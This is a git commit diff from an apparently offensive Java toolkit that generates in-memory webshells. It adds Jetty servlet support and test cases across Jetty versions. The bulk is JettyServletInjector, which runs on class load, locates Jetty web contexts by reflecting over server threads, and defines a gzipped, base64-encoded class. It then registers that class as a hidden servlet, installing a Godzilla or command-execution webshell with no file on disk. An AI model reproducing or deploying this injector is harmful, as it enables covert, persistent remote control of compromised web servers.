feat: support jetty servlet (#2)

This commit is contained in:
ReaJason
2024-12-21 00:42:53 +08:00
parent 0e5b8efdeb
commit aa7ecb1587
10 changed files with 307 additions and 0 deletions
@@ -5,8 +5,11 @@ import com.reajason.javaweb.memshell.jetty.command.CommandListener;
import com.reajason.javaweb.memshell.jetty.godzilla.GodzillaListener; import com.reajason.javaweb.memshell.jetty.godzilla.GodzillaListener;
import com.reajason.javaweb.memshell.jetty.injector.JettyFilterInjector; import com.reajason.javaweb.memshell.jetty.injector.JettyFilterInjector;
import com.reajason.javaweb.memshell.jetty.injector.JettyListenerInjector; import com.reajason.javaweb.memshell.jetty.injector.JettyListenerInjector;
import com.reajason.javaweb.memshell.jetty.injector.JettyServletInjector;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter; import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
import com.reajason.javaweb.memshell.shelltool.command.CommandServlet;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter; import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
import org.apache.commons.lang3.tuple.Pair; import org.apache.commons.lang3.tuple.Pair;
import java.util.List; import java.util.List;
@@ -28,6 +31,8 @@ public class JettyShell extends AbstractShell {
@Override @Override
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() { protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
return Map.of( return Map.of(
SERVLET, Pair.of(CommandServlet.class, JettyServletInjector.class),
JAKARTA_SERVLET, Pair.of(CommandServlet.class, JettyServletInjector.class),
FILTER, Pair.of(CommandFilter.class, JettyFilterInjector.class), FILTER, Pair.of(CommandFilter.class, JettyFilterInjector.class),
JAKARTA_FILTER, Pair.of(CommandFilter.class, JettyFilterInjector.class), JAKARTA_FILTER, Pair.of(CommandFilter.class, JettyFilterInjector.class),
LISTENER, Pair.of(CommandListener.class, JettyListenerInjector.class), LISTENER, Pair.of(CommandListener.class, JettyListenerInjector.class),
@@ -38,6 +43,8 @@ public class JettyShell extends AbstractShell {
@Override @Override
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() { protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
return Map.of( return Map.of(
SERVLET, Pair.of(GodzillaServlet.class, JettyServletInjector.class),
JAKARTA_SERVLET, Pair.of(GodzillaServlet.class, JettyServletInjector.class),
FILTER, Pair.of(GodzillaFilter.class, JettyFilterInjector.class), FILTER, Pair.of(GodzillaFilter.class, JettyFilterInjector.class),
JAKARTA_FILTER, Pair.of(GodzillaFilter.class, JettyFilterInjector.class), JAKARTA_FILTER, Pair.of(GodzillaFilter.class, JettyFilterInjector.class),
LISTENER, Pair.of(GodzillaListener.class, JettyListenerInjector.class), LISTENER, Pair.of(GodzillaListener.class, JettyListenerInjector.class),
@@ -40,6 +40,10 @@ public class Jetty10ContainerTest {
static Stream<Arguments> casesProvider() { static Stream<Arguments> casesProvider() {
return Stream.of( return Stream.of(
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
@@ -40,6 +40,10 @@ public class Jetty11ContainerTest {
static Stream<Arguments> casesProvider() { static Stream<Arguments> casesProvider() {
return Stream.of( return Stream.of(
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Command, Packer.INSTANCE.JSP),
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Command, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
@@ -40,6 +40,10 @@ public class Jetty61ContainerTest {
static Stream<Arguments> casesProvider() { static Stream<Arguments> casesProvider() {
return Stream.of( return Stream.of(
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
@@ -40,6 +40,10 @@ public class Jetty76ContainerTest {
static Stream<Arguments> casesProvider() { static Stream<Arguments> casesProvider() {
return Stream.of( return Stream.of(
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
@@ -40,6 +40,10 @@ public class Jetty81ContainerTest {
static Stream<Arguments> casesProvider() { static Stream<Arguments> casesProvider() {
return Stream.of( return Stream.of(
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
@@ -41,6 +41,10 @@ public class Jetty92ContainerTest {
static Stream<Arguments> casesProvider() { static Stream<Arguments> casesProvider() {
return Stream.of( return Stream.of(
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
@@ -40,6 +40,10 @@ public class Jetty93ContainerTest {
static Stream<Arguments> casesProvider() { static Stream<Arguments> casesProvider() {
return Stream.of( return Stream.of(
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
@@ -40,6 +40,10 @@ public class Jetty94ContainerTest {
static Stream<Arguments> casesProvider() { static Stream<Arguments> casesProvider() {
return Stream.of( return Stream.of(
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
@@ -0,0 +1,268 @@
package com.reajason.javaweb.memshell.jetty.injector;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.*;
import java.util.ArrayList;
import java.util.List;
import java.util.Map;
import java.util.zip.GZIPInputStream;
/**
* @author ReaJason
* @since 2024/12/20
*/
public class JettyServletInjector {
static {
new JettyServletInjector();
}
public JettyServletInjector() {
try {
List<Object> contexts = getContext();
for (Object context : contexts) {
Object servlet = getShell(context);
inject(context, servlet);
}
} catch (Exception e) {
e.printStackTrace();
}
}
public String getUrlPattern() {
return "{{urlPattern}}";
}
public String getClassName() {
return "{{className}}";
}
public String getBase64String() throws IOException {
return "{{base64Str}}";
}
public Class<?> getServletClass(ClassLoader classLoader) throws ClassNotFoundException {
try {
return classLoader.loadClass("javax.servlet.Servlet");
} catch (Throwable e) {
return classLoader.loadClass("jakarta.servlet.Servlet");
}
}
List<Object> getContext() {
List<Object> contexts = new ArrayList<Object>();
Thread[] threads = Thread.getAllStackTraces().keySet().toArray(new Thread[0]);
for (Thread thread : threads) {
try {
Object contextClassLoader = getContextClassLoader(thread);
if (isWebAppClassLoader(contextClassLoader)) {
contexts.add(getContextFromWebAppClassLoader(contextClassLoader));
} else if (isHttpConnection(thread)) {
contexts.add(getContextFromHttpConnection(thread));
}
} catch (Exception ignored) {
}
}
return contexts;
}
private Object getContextClassLoader(Thread thread) throws Exception {
return invokeMethod(thread, "getContextClassLoader");
}
private boolean isWebAppClassLoader(Object classLoader) {
return classLoader.getClass().getName().contains("WebAppClassLoader");
}
private Object getContextFromWebAppClassLoader(Object classLoader) throws Exception {
Object context = getFieldValue(classLoader, "_context");
Object handler = getFieldValue(context, "_servletHandler");
return getFieldValue(handler, "_contextHandler");
}
private boolean isHttpConnection(Thread thread) throws Exception {
Object threadLocals = getFieldValue(thread, "threadLocals");
Object table = getFieldValue(threadLocals, "table");
for (int i = 0; i < Array.getLength(table); ++i) {
Object entry = Array.get(table, i);
if (entry != null) {
Object httpConnection = getFieldValue(entry, "value");
if (httpConnection != null && httpConnection.getClass().getName().contains("HttpConnection")) {
return true;
}
}
}
return false;
}
private Object getContextFromHttpConnection(Thread thread) throws Exception {
Object threadLocals = getFieldValue(thread, "threadLocals");
Object table = getFieldValue(threadLocals, "table");
for (int i = 0; i < Array.getLength(table); ++i) {
Object entry = Array.get(table, i);
if (entry != null) {
Object httpConnection = getFieldValue(entry, "value");
if (httpConnection != null && httpConnection.getClass().getName().contains("HttpConnection")) {
Object httpChannel = invokeMethod(httpConnection, "getHttpChannel");
Object request = invokeMethod(httpChannel, "getRequest");
Object session = invokeMethod(request, "getSession");
Object servletContext = invokeMethod(session, "getServletContext");
return getFieldValue(servletContext, "this$0");
}
}
}
throw new Exception("HttpConnection not found");
}
@SuppressWarnings("all")
private Object getShell(Object context) throws Exception {
Object obj;
ClassLoader classLoader = context.getClass().getClassLoader();
try {
obj = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
obj = clazz.newInstance();
}
return obj;
}
public void inject(Object context, Object servlet) throws Exception {
Object servletHandler = getFieldValue(context, "_servletHandler");
// 1. 判断是否已经注入
if (isInjected(servletHandler)) {
System.out.println("servlet is already injected");
return;
}
ClassLoader classLoader = context.getClass().getClassLoader();
Class<?> servletHolderClass = null;
try {
servletHolderClass = classLoader.loadClass("org.eclipse.jetty.servlet.ServletHolder");
} catch (ClassNotFoundException e) {
servletHolderClass = classLoader.loadClass("org.mortbay.jetty.servlet.ServletHolder");
}
Constructor<?> servletHolderConstructor = servletHolderClass.getDeclaredConstructor();
servletHolderConstructor.setAccessible(true);
Object servletHolder = servletHolderConstructor.newInstance();
invokeMethod(servletHolder, "setServlet", new Class[]{getServletClass(classLoader)}, new Object[]{servlet});
invokeMethod(servletHolder, "setName", new Class[]{String.class}, new Object[]{getClassName()});
invokeMethod(servletHandler, "addServlet", new Class[]{servletHolderClass}, new Object[]{servletHolder});
Class<?> servletMappingClass = null;
try {
servletMappingClass = classLoader.loadClass("org.eclipse.jetty.servlet.ServletMapping");
} catch (ClassNotFoundException e) {
servletMappingClass = classLoader.loadClass("org.mortbay.jetty.servlet.ServletMapping");
}
Constructor<?> servletMappingConstructor = servletMappingClass.getDeclaredConstructor();
servletMappingConstructor.setAccessible(true);
Object servletMapping = servletMappingConstructor.newInstance();
invokeMethod(servletMapping, "setServletName", new Class[]{String.class}, new Object[]{getClassName()});
invokeMethod(servletMapping, "setPathSpecs", new Class[]{String[].class}, new Object[]{new String[]{getUrlPattern()}});
invokeMethod(servletHandler, "addServletMapping", new Class[]{servletMappingClass}, new Object[]{servletMapping});
System.out.println("servlet inject successful");
}
@SuppressWarnings("unchecked")
public boolean isInjected(Object servletHandler) throws Exception {
Map<String, Object> servletNameMap = (Map<String, Object>) getFieldValue(servletHandler, "_servletNameMap");
if (servletNameMap == null) {
return false;
}
return servletNameMap.containsKey(getClassName());
}
@SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) throws Exception {
Class<?> decoderClass;
try {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
}
}
@SuppressWarnings("all")
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
int n;
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
} finally {
if (gzipInputStream != null) {
try {
gzipInputStream.close();
} catch (IOException ignored) {
}
}
out.close();
}
return out.toByteArray();
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
for (Class<?> clazz = obj.getClass();
clazz != Object.class;
clazz = clazz.getSuperclass()) {
try {
Field field = clazz.getDeclaredField(name);
field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException ignored) {
}
}
throw new NoSuchFieldException(name);
}
public static Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws NoSuchMethodException {
try {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} catch (NoSuchMethodException e) {
throw e;
} catch (Exception e) {
throw new RuntimeException("Error invoking method: " + methodName, e);
}
}
}